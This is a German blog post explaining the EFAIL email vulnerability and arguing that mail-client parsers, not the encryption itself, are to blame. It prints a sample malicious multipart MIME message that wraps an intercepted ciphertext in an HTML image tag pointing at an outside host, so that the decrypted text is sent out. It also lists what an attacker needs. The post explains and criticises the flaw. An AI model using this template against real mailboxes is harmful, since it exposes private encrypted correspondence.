EFail: Die Katze ist aus dem Sack

Die Katze ist aus dem Sack, das Whitepaper zur EFAIL Schwachstelle ist bekannt. Als Entwickler auch von komplexen Programmen zum Parsen von (auch abgedrehten) Formaten, kann ich Euch sagen, daß es genug Scheisse da draußen gibt, die man fehlertolerant behandeln kann, aber die EFAIL Schwachstelle ist genau das : EIN MEGAFAIL!

Selbstgemachtes GPG Schwachstellen Logo 🙂

EFail – Der MEGAFAIL

Der Exploit basiert darauf, daß man eine verschlüsselte Email an den Empfänger A abgefangen hat, diese aber nicht dekodieren kann. Das bleibt auch nach der Lücke so! Also PGP/GPG sind an sich fein raus, die haben gar keine Schuld an der Sache.

Nun bettet man den verschlüsselten Block der Mail in eine Multipart-Mime Message, die aus zwei HTML und einem Cipherblock (dem verschlüsselten Mailteil) besteht. Das könnte so aussehen:

From: <unverdächtig@kenneich.de>
To: <opfer@opfer.de>
Content-Type: multipart/mixed;boundary="GRENZE"

--GRENZE
Content-Type: text/html;charset=ascii

<html><body><img src="https://efail.de/
--GRENZE
Content-Type: application/pkcs7-mine;smine-type=enveloped-data
Content-Transfer-Encoding: base64

hQIMA+PS/5obaKVzARAAuG0PvUFHEzRp+U9HAm1GgjnUwy6afP60q0QYl9vWby5h
ysIVpoXrHZqn3H8f/+FjsoZ2YpDlCqhvKzn/UaP8kxb21YN1+eSaMi55b6WFyIif
hbxnp2Z155YM6Sx+VrTa55DQEF2c7LzyFKcE1csRiB0py+bWJKFPERRhXxSVOMpv
sZB3oLcZmBS990RgjbGUUZhXClxubwwqXo3K41Wj8kktQvZ7YD6hMz46V26kN4Ru
PLt1PQ/+P0iznlNjXaIckLXUq/RNpRMC5469Dp674OECZ2kc3fFrv5zkZcs0Kg5r
...
--GRENZE
Content-Type: text/html;charset=ascii

"></body></html>
--GRENZE--

Was jetzt passiert ist, daß der Mimeparser des Emailprogramms, den verschlüsselten Block vom PGP Plugin dekodieren läßt und nahtlos in das umgebende HTML einfügt. Es kommt dann eine URL raus wie => „https://efail.de/TEXT+DER+NACHRICHT+AN+DEN+EMPFÄNGER“, welche als Bild in dem HTML eingebettet ist, was die meisten Mailprogramme dazu bringt, diese sofort zu rendern. Also schickt der Client damit eine Bildanfrage und überträgt so die dekodierte Nachricht.

Voraussetzungen

1. Man braucht eine verschlüsselte Email an den Empfänger
2. Man braucht einen Webserver, der mehr als 512 Zeichen in der URL annimmt ( selbstschreiben vermutlich)
3. Man braucht ein Emailprogramm beim Opfer, dessen Parser von einem Irren geschrieben wurde
UND 4. das ungefragt Bilder von externen unbekannten Webseiten nachlädt.

1+2 kann der Angreifer liefern, 3+4 muß das Opfer beisteuern.

Der Pressetenor

Der allgemeine Pressetenor war heute, daß die Plugins einen Bug haben. Wenn aber obiges so zutrifft, dann haben die Plugins keinen BUG, sie sind nur zwingend notwendig, daß der Angriff automatisch ablaufen kann. Schaltet man die aus, läuft der Angriff ins Leere.

Was in einigen Webseiten aber abgeleitet wurde war, daß die Verschlüsselung geknackt wurde und das trotz monatelanger Vorwarnung, die Emailprogramme keinen Schutz dagegen gefunden haben.

Das aber ist LÄCHERLICH.

Hier wird wiedermal eine Sau durchs Dorf getrieben, die es nicht verdient hat. Ja, das Ganze ist ein Bug. Ja, der ist in der Wirkung echt schlimm. Nein, die Verschlüsselung wurde nicht geknackt, die wurde nur vom Emailprogramm automatisch aufgehoben und exfiltriert und genau da liegt der Hund begraben. Wie kann man nur einen Parser bauen, der die drei Teile einer Email, die als DREI Teile in der Email vorliegen, zu einem Teil zusammen fassen? Das ist die Frage.

Die, die den Parser geschrieben haben, der die drei Teile verbindet, die sollten ihre Studiengebühren zurück bekommen, sofern sie welche gezahlt haben!

Schlimmer ist nur noch, daß mindestens drei unterschiedliche Teams den gleichen Fehler gemacht haben.

Updates

Thunderbird wird erst mit einer Version 52.8 nicht mehr verwundbar sein. Ich nehme mal an, die Version kommt jetzt etwas zügiger raus, als geplant.

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